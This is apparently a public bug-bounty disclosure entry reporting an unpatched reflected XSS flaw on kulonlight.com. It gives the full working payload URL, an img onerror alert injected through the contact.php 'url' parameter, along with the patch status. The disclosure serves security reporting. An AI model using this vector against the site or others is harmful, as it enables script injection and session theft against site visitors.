kulonlight.com XSS vulnerability

Vulnerable URL: http://www.kulonlight.com/contact.php?url=aa%22%3E%3Cimg%20src=x%20onerror=alert%22OPENBUGBOUNTY%22;%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 19049590 VIP...